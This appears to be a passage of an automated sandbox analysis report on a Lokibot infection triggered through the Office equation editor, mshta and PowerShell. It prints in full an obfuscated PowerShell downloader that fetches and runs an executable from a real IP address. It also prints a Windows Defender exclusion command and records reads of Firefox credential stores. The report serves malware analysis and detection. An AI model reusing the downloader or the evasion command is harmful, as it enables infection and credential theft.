Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOGPFAULTERRORBOX

Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 1C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 2880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 3E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 56B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 66B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 67E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 77E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5469	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 908	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1993	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4005	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2689	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3560	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.dll

Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3296	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe TID: 3472	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3612	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3752	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3636	Thread sleep count: 1993 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3636	Thread sleep count: 4005 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3696	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3700	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3632	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe TID: 3880	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3992	Thread sleep count: 2689 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3992	Thread sleep count: 3560 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4040	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4044	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe TID: 3936	Thread sleep time: -1080000s >= -30000s

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 15_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

15_2_00403D74

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 60000

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

API call chain: ExitProcess graph end node

graph_2-652

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035405C8 mov edx, dword ptr fs:[00000030h]		2_2_035405C8
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 15_2_0040317B mov eax, dword ptr fs:[00000030h]		15_2_0040317B

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 15_2_00402B7C GetProcessHeap,RtlAllocateHeap,

15_2_00402B7C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\wininit.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\wininit.exe

Memory written: C:\Users\user\AppData\Roaming\wininit.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta"	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4441.tmp" "c:\Users\user\AppData\Local\Temp\4vzopkvk\CSC2CE1E80E8DFB46C4BC398124C902BE0.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jgozckggicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagyurelxr5ueugicagicagicagicagicagicagicagicagicagicagicattuvtymvyzgvgsw5pvelptiagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ukxnb04urgxsiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagte9etwxjwuzirixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbltyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbmcmqsdwludcagicagicagicagicagicagicagicagicagicagicagigtdtxyssw50uhryicagicagicagicagicagicagicagicagicagicagicagc0t3afnvz0zkktsnicagicagicagicagicagicagicagicagicagicagicaglw5htuugicagicagicagicagicagicagicagicagicagicagicaiuetkbwrxiiagicagicagicagicagicagicagicagicagicagicagic1oyw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicagicbmwvbocgzavmggicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagjgozckg6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly82ni42my4xodcumjmxlzmzl2nhc3bvbc5leguilcikru52okfquerbvefcd2luaw5pdc5leguildasmck7u1rbulqtu2xfrvaomyk7auv4icagicagicagicagicagicagicagicagicagicagicagiirftny6qvbqrefuqvx3aw5pbml0lmv4zsi='+[char]0x22+'))')))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jgozckggicagicagicagicagicagicagicagicagicagicagica9icagicagicagicagicagicagicagicagicagicagicagyurelxr5ueugicagicagicagicagicagicagicagicagicagicagicattuvtymvyzgvgsw5pvelptiagicagicagicagicagicagicagicagicagicagicagicdbrgxssw1wb3j0kcj1ukxnb04urgxsiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagte9etwxjwuzirixzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbltyxzdhjpbmcgicagicagicagicagicagicagicagicagicagicagicbmcmqsdwludcagicagicagicagicagicagicagicagicagicagicagigtdtxyssw50uhryicagicagicagicagicagicagicagicagicagicagicagc0t3afnvz0zkktsnicagicagicagicagicagicagicagicagicagicagicaglw5htuugicagicagicagicagicagicagicagicagicagicagicaiuetkbwrxiiagicagicagicagicagicagicagicagicagicagicagic1oyw1lu3bhy2ugicagicagicagicagicagicagicagicagicagicagicbmwvbocgzavmggicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagjgozckg6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly82ni42my4xodcumjmxlzmzl2nhc3bvbc5leguilcikru52okfquerbvefcd2luaw5pdc5leguildasmck7u1rbulqtu2xfrvaomyk7auv4icagicagicagicagicagicagicagicagicagicagicagiirftny6qvbqrefuqvx3aw5pbml0lmv4zsi='+[char]0x22+'))')))"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Users\user\AppData\Roaming\wininit.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Users\user\AppData\Roaming\wininit.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 15_2_00406069 GetUserNameW,

15_2_00406069

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match	File source: 13.2.wininit.exe.3a0edc0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.wininit.exe.3a28de0.2.raw.unpack, type: UNPACKEDPE
